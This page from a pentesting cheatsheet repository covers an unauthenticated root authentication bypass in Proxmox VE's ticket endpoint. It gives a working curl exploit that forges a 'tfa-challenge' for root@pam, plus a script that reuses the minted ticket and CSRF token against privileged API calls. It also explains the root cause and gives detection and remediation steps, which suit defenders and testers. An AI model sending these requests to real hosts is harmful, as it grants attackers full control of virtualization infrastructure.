daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

proxmox-ve.md (6824B)


      1 ---
      2 title: "Proxmox VE"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/proxmox-ve.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/proxmox-ve.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Proxmox VE
     14 
     15 Proxmox VE exposes its HTTPS management interface and API through **`pveproxy`**, normally on TCP **8006**. Treat this as a high-value management plane: the ticket endpoint returns signed API sessions, and state-changing API calls also require the associated CSRF prevention token.<sup>[[1]](#references)[[2]](#references)</sup>
     16 
     17 ```bash
     18 nmap -Pn -sV -p8006 <target>
     19 curl -skI https://<target>:8006/
     20 ```
     21 
     22 ## TFA state confusion to a full API ticket
     23 
     24 CVE-2023-54391 (PSA-2026-00043-1) affects `libpve-access-control >= 7.0-7 and < 8.0.4`. A client-controlled `tfa-challenge` parameter can place `POST /api2/json/access/ticket` directly into the second-factor path, so an unauthenticated request may obtain a full session as any enabled user without configured login TFA; default installations normally include `root@pam` in that set.<sup>[[1]](#references)[[2]](#references)</sup>
     25 
     26 A minimal authorized test is one request; `password` can be arbitrary and `tfa-challenge` only needs to be non-empty.<sup>[[2]](#references)</sup>
     27 
     28 ```bash
     29 curl -sk -X POST 'https://<target>:8006/api2/json/access/ticket' \
     30   -H 'Content-Type: application/x-www-form-urlencoded' \
     31   --data 'username=root@pam&password=x&tfa-challenge=1'
     32 ```
     33 
     34 A vulnerable host returns HTTP 200 with `data.username`, a signed `data.ticket`, `data.CSRFPreventionToken`, and the selected user's capability map. Patched versions reject the forged challenge with HTTP 401. The returned credential is a normal session rather than an intermediate TFA ticket, so it is immediately usable against privileged API operations.<sup>[[2]](#references)</sup>
     35 
     36 ```bash
     37 BASE='https://<target>:8006'
     38 RESP="$(curl -sk -X POST "$BASE/api2/json/access/ticket" \
     39   --data 'username=root@pam&password=x&tfa-challenge=1')"
     40 TICKET="$(jq -r '.data.ticket' <<<"$RESP")"
     41 CSRF="$(jq -r '.data.CSRFPreventionToken' <<<"$RESP")"
     42 
     43 # Read-only validation
     44 curl -sk "$BASE/api2/json/nodes" -H "Cookie: PVEAuthCookie=$TICKET"
     45 
     46 # State-changing calls additionally require the CSRF token
     47 curl -sk -X POST "$BASE/api2/json/<privileged-endpoint>" \
     48   -H "Cookie: PVEAuthCookie=$TICKET" \
     49   -H "CSRFPreventionToken: $CSRF"
     50 ```
     51 
     52 ### Root-cause chain
     53 
     54 The reusable bug pattern is **client-selected authentication state plus fail-open null handling**. Trace every branch from the public endpoint to the point where a full session is minted; do not assume that reaching an “MFA response” handler proves completion of the password step. The vulnerable chain is:<sup>[[2]](#references)</sup>
     55 
     56 1. Supplying `tfa-challenge` selects the second-factor branch and prevents execution from reaching the realm plugin's password validator.
     57 2. For accounts without the legacy `keys` field, `user_get_tfa()` returns `undef` before loading the modern `priv/tfa.cfg` object.
     58 3. `authenticate_2nd_new_do()` sees the undefined configuration and returns before `verify_ticket($tfa_challenge, 0, $username)` can validate the challenge signature and user binding.
     59 4. The caller interprets the missing pending-TFA value as authentication complete and mints a full ticket for the attacker-selected identity.
     60 
     61 This suggests several general code-review and black-box tests: force later authentication states without first completing earlier states; mutate signed challenge fields to empty, arbitrary, cross-user, expired, and replayed values; test accounts with absent, empty, disabled, migrated, and directory-synchronized MFA metadata; and verify that every null/error result fails closed before session creation.<sup>[[2]](#references)</sup>
     62 
     63 ## Version verification
     64 
     65 Check the installed package rather than inferring exposure only from the overall PVE release, because package and platform versions correlate loosely.<sup>[[1]](#references)</sup>
     66 
     67 ```bash
     68 dpkg-query -W -f '${Version}\n' libpve-access-control
     69 # or
     70 pveversion -v
     71 ```
     72 
     73 The package, configuration, and network boundaries are:<sup>[[1]](#references)</sup>
     74 
     75 - **Vulnerable:** `libpve-access-control >= 7.0-7 and < 8.0.4`.
     76 - **Fixed:** `libpve-access-control >= 8.0.4`; supported PVE releases are not affected.
     77 - **Configuration boundary:** users with any second factor configured for login do not take the vulnerable no-TFA path.
     78 - **Reachability boundary:** exploitation requires access to TCP 8006 directly or through a reverse proxy.
     79 
     80 ## Detection
     81 
     82 Hunt in `pveproxy` access logs and syslog for `POST /api2/json/access/ticket` requests carrying `tfa-challenge`. Prioritize HTTP 200 ticket creation from unexpected sources, successful `root@pam` authentication without the expected preceding flow, and follow-on terminal, permissions, VM, storage, backup, migration, networking, or power-management API requests. On patched hosts, bursts of HTTP 401 responses to the same endpoint can indicate attempted exploitation, but normal failed logins and broken clients remain false positives.<sup>[[2]](#references)</sup>
     83 
     84 ## Remediation
     85 
     86 Upgrade to a supported release with `libpve-access-control >= 8.0.4`. For an affected EOL installation that cannot be upgraded immediately, Proxmox's stop-gap inserts challenge verification before the vulnerable second-factor branch; verify that the file contains three matching calls and then reload both services.<sup>[[1]](#references)</sup>
     87 
     88 ```bash
     89 sed -i.bck 's/^\t# This is the 2nd factor, use the password for the OTP response.$/\tverify_ticket($tfa_challenge, 0, $username);\n\t# This is the 2nd factor, use the password for the OTP response./' /usr/share/perl5/PVE/AccessControl.pm
     90 
     91 grep -n 'verify_ticket($tfa_challenge, 0, $username)' /usr/share/perl5/PVE/AccessControl.pm | wc -l
     92 systemctl reload-or-restart pvedaemon pveproxy
     93 ```
     94 
     95 Reduce exposure independently of patching: restrict TCP 8006 to trusted administration networks. A localhost-only deployment can set `LISTEN_IP="127.0.0.1"` in `/etc/default/pveproxy`, restart `pveproxy`, and provide access through a VPN or SSH tunnel.<sup>[[1]](#references)[[2]](#references)</sup>
     96 
     97 ## References
     98 
     99 - [1] [Proxmox PSA-2026-00043-1 — Authentication bypass in EOL Proxmox VE 7 release](https://forum.proxmox.com/threads/proxmox-virtual-environment-security-advisories.149331/post-867929)
    100 - [2] [Nathan Xavier Golez — Proxmox VE 7.0–8.0.3 unauthenticated single-request root authentication bypass](https://blog.nathangolez.com/2026/08/proxmox-ve-7-08-0-3-unauthenticated-single-request-root-auth-bypass)